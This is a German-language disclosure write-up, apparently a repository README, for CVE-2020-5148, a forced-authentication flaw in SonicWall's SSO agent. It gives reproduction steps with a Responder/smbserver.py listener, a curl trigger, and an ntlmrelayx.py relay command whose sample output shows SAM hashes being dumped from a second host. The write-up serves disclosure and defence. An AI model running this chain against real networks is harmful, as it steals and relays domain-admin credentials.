CVE-2020-5148

Erzwungene Authentifizierung im SonicWall UTM SSO-Agent

Der SonicWall SSO-Agent identifiziert den Benutzer hinter einer bestimmten IP-Adresse, indem er diese Workstation per NetAPI (Standard) oder WMI abfragt. Er validiert die Workstation nicht, bevor er die NTLM-Authentifizierung einleitet, und fragt dieselbe Adresse für die Dauer der Sitzung weiterhin ab.

Da der SSO-Agent-Dienst Administratorrechte auf jeder Workstation und jedem Server benötigt, die er abfragt, wird er in der Praxis als Domain-Admin bereitgestellt. Jede nicht authentifizierte Partei, die Webdatenverkehr durch das UTM-Gerät leiten kann, kann daher ein Domain-Admin-Konto dazu bringen, sich an einem Host ihrer Wahl zu authentifizieren, und diese Authentifizierung erfassen oder weiterleiten.

Veröffentlicht als CVE-2020-5148, Hersteller-Sicherheitshinweis SNWLID-2021-0003.

Entdeckt und gemeldet von Sedric Louissaint von Show Up Show Out Security.

---

Zusammenfassung

CVE	CVE-2020-5148
Produkt	SonicWall UTM Appliance und SSO-Agent / Directory Services Connector
Betroffen	SSO-Agent 4.1.10.0; Directory Services Connector 4.1.17 und früher
Behoben in	NVD verzeichnet die Behebung in Directory Services Connector 4.1.19 (siehe Hinweis unten)
Schwachstelle	CWE-287: Improper Authentication
CVSS 3.1 (NVD)	8.2 Hoch CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CVSS (Forscher)	8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Veröffentlicht	2021-03-05
Getestet auf	Microsoft Windows Server 2012 R2 Standard
Erforderliche Authentifizierung	Keine
Hersteller-Sicherheitshinweis	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003

NVD-Beschreibung:

Die Standardkonfiguration des SonicWall-SSO-Agenten verwendet NetAPI, um die zugehörigen IPs im Netzwerk abzufragen. Diese Client-Abfragemethode ermöglicht es einem potenziellen Angreifer, den Passwort-Hash zu erfassen.

Technisches Detail

Der vorgesehene Ablauf und die zwei Schritte, die er auslässt

1. Der Datenverkehr eines Benutzers erreicht das SonicWALL-UTM-Gerät.
2. Das Gerät sendet die IP des Benutzers als „Benutzernamen-Anfrage“ an den SSO-Agenten. Blockierte Pakete werden zurückgehalten.
3. Der SSO-Agent antwortet mit dem Benutzernamen, der an dieser Workstation angemeldet ist.
4. LDAP oder die lokale Datenbank löst die Gruppenmitgliedschaft auf.
5. Die Richtlinie wird angewendet und der zurückgehaltene Datenverkehr wird freigegeben.
6. Das Gerät fragt den SSO-Agenten weiterhin ab, um zu bestätigen, dass derselbe Benutzer noch angemeldet ist.

Die Anmerkungen kennzeichnen, was das Herstellerdiagramm auslässt:

• Schritt 2.5 Der SSO-Agent muss sich an der Workstation authentifizieren, bevor er sie abfragen kann. Das ist ein ausgehender NTLM-Handshake an eine Adresse, die von demjenigen bereitgestellt wird, der den Datenverkehr erzeugt hat, ohne vorherige Validierung dieser Adresse.
• Schritt 5.5 Der Agent wiederholt diese Authentifizierung bei jeder Abfrage für die Dauer der Sitzung. Das Abfrageintervall ist in der GUI konfigurierbar.

Privilegienkontext

Der SSO-Agent-Dienst benötigt Administratorrechte auf allen zugehörigen Workstations und Servern, um die Abfrage überhaupt durchführen zu können. In praktisch jeder Bereitstellung bedeutet dies, dass das Dienstkonto ein Domain-Admin ist.

Die Anmeldedaten, die an einen nicht validierten Host übergeben werden, sind daher das Konto mit den höchsten Privilegien im Verzeichnis.

Auslösen

Es gibt keinen Exploit-Code. Jede ausgehende Webanfrage aus einem Segment, das das Gerät verarbeitet, ist ausreichend:

curl sonicwall.com

Die URL ist irrelevant, und die Anfrage muss nicht erfolgreich sein. Das Gerät beobachtet Datenverkehr von einer unbekannten IP, fordert den SSO-Agenten auf, den Benutzer dort zu identifizieren, und der Agent authentifiziert sich an dieser IP.

Erfassen der Anmeldedaten

Wenn Responder oder smbserver.py lauschen, trifft die NTLMv2-Authentifizierung des Agenten unaufgefordert ein und trifft aufgrund des Abfrageverhaltens weiterhin ein:

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

Weiterleiten (Relaying)

Das Knacken ist optional. Wo SMB-Signierung nicht erzwungen wird, kann die Authentifizierung live an einen anderen Host weitergeleitet werden, der die Verbindung dann als das privilegierte Konto behandelt, das sie zu sein scheint:

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

Die Authentifizierung wird durch eine nicht authentifizierte Webanfrage ausgelöst und auf einer vollständig anderen Maschine konsumiert, was den vollständigen ACL-Bypass darstellt, der im Advisory beschrieben ist.

Reproduktion

In einem Labor, das Ihnen gehört oder für das Sie eine Testgenehmigung haben, mit einem für SSO konfigurierten UTM-Gerät und dem SSO-Agenten, der die standardmäßige NetAPI-Client-Abfragemethode verwendet:

1. Starten Sie einen Listener auf einem Host in einem Segment, das das Gerät verarbeitet:

   sudo responder -I <interface>
   # or
   sudo smbserver.py c . -smb2support
   

2. Erzeugen Sie von diesem selben Host ausgehenden Webdatenverkehr durch das Gerät:

   curl sonicwall.com
   

3. Eine verwundbare Konfiguration erzeugt innerhalb von Sekunden eine eingehende NTLMv2-Authentifizierung vom Dienstkonto des SSO-Agenten. Warten Sie, und es wiederholt sich, wegen des Abfrageverhaltens.
4. Optional können Sie die Anmeldedaten statt zu erfassen an einen Host mit deaktivierter SMB-Signierung weiterleiten:

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

Die vollständige Befehlsfolge finden Sie in poc/repro.sh.

Repository-Inhalt

poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png